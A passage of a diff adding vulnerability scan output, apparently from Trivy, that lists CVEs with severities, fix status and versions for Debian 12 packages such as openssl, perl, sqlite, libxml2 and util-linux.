├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libldap-2.5-0 │ CVE-2023-2953 │ │ │ 2.5.13+dfsg-5 │ │ openldap: null pointer dereference in ber_memalloc_x │ +│ │ │ │ │ │ │ function │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-2953 │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libmount1 │ CVE-2026-53613 │ │ │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libncursesw6 │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpam-modules │ CVE-2025-6020 │ │ fixed │ 1.5.2-6+deb12u1 │ 1.5.2-6+deb12u2 │ linux-pam: Linux-pam directory Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6020 │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-modules-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-runtime │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam0g │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpcre2-8-0 │ CVE-2026-103111 │ │ │ 10.42-1 │ 10.42-1+deb12u2 │ pcre2: pcre2: Out-of-bounds write via crafted regular │ +│ │ │ │ │ │ │ expression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-103111 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86145 │ │ │ │ 10.42-1+deb12u1 │ pcre2: PCRE2: Out-of-bounds write allows arbitrary code │ +│ │ │ │ │ │ │ execution via crafted regular expressions... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86145 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89157 │ │ │ │ │ pcre2: PCRE2: Out-of-bounds write via large pattern input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89157 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89161 │ │ │ │ │ pcre2: PCRE2: Memory corruption vulnerability in │ +│ │ │ │ │ │ │ pcre2_jit_match │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89161 │ +├────────────────────┼─────────────────┼──────────┤ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libperl5.36 │ CVE-2026-13221 │ CRITICAL │ │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsmartcols1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┤ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsqlite3-0 │ CVE-2025-7458 │ CRITICAL │ │ 3.40.1-2+deb12u1 │ │ sqlite: SQLite integer overflow │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-7458 │ +│ ├─────────────────┼──────────┼──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-6965 │ HIGH │ fixed │ │ 3.40.1-2+deb12u2 │ sqlite: Integer Truncation in SQLite │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6965 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11822 │ │ fix_deferred │ │ │ sqlite: SQLite: Arbitrary code execution via crafted FTS5 │ +│ │ │ │ │ │ │ full-text search data │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11822 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-11824 │ │ │ │ │ sqlite: SQLite: Arbitrary code execution and crash via │ +│ │ │ │ │ │ │ heap-based buffer overflow in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-11824 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119373 │ │ affected │ │ │ sqlite: sqlite: Denial of service via heap-based buffer │ +│ │ │ │ │ │ │ overflow in FTS5 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119373 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119374 │ │ │ │ │ sqlite: sqlite: Arbitrary code execution via corrupted FTS5 │ +│ │ │ │ │ │ │ index │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119374 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119379 │ │ │ │ │ sqlite: sqlite: Arbitrary code execution via crafted session │ +│ │ │ │ │ │ │ changesets │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119379 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.17-1~deb12u2 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsystemd0 │ CVE-2026-16742 │ │ fix_deferred │ 252.38-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libtinfo6 │ CVE-2025-69720 │ │ affected │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libudev1 │ CVE-2026-16742 │ │ fix_deferred │ 252.38-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libuuid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libxml2 │ CVE-2026-6653 │ CRITICAL │ fix_deferred │ 2.9.14+dfsg-1.3~deb12u2 │ │ libxml2: mingw-libxml2: libxml2: Denial of Service via │ +│ │ │ │ │ │ │ crafted XML input due to... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-6653 │ +│ ├─────────────────┼──────────┼──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-49794 │ HIGH │ fixed │ │ 2.9.14+dfsg-1.3~deb12u3 │ libxml: Heap use after free (UAF) leads to Denial of service │ +│ │ │ │ │ │ │ (DoS)... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-49794 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-49796 │ │ │ │ │ libxml: Type confusion leads to Denial of service (DoS) │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-49796 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-74860 │ │ fix_deferred │ │ │ libxml2: double-free/UAF in libxml2 Python bindings │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-74860 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86138 │ │ │ │ │ libxml2: libxml2: Arbitrary code execution via heap-based │ +│ │ │ │ │ │ │ buffer overflow │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86138 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86140 │ │ │ │ │ libxml2: libxml2: Arbitrary code execution via stack-based │ +│ │ │ │ │ │ │ buffer overflow in xmlSnprintfElements │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86140 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86142 │ │ │ │ │ libxml2: libxml2: Heap-based buffer overflow in xmlXPtrEval │ +│ │ │ │ │ │ │ due to xpointer length saturation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86142 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86143 │ │ │ │ │ libxml2: libxml2: Data integrity issues due to integer │ +│ │ │ │ │ │ │ overflow in write callbacks... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86143 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86144 │ │ │ │ │ libxml2: libxml2: Information disclosure, SSRF, or denial of │ +│ │ │ │ │ │ │ service due to improper... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86144 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libxslt1.1 │ CVE-2025-7424 │ │ fixed │ 1.1.35-1+deb12u1 │ 1.1.35-1+deb12u2 │ libxslt: Type confusion in xmlNode.psvi between stylesheet │ +│ │ │ │ │ │ │ and source nodes │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-7424 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ mount │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ ncurses-base │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┤ │ │ │ ├─────────────────────────┤ │ +│ ncurses-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┼──────────┼──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ openssl │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.17-1~deb12u2 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┼──────────┤ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl │ CVE-2026-13221 │ CRITICAL │ │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┼──────────┼──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-base │ CVE-2026-13221 │ CRITICAL │ fixed │ │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ 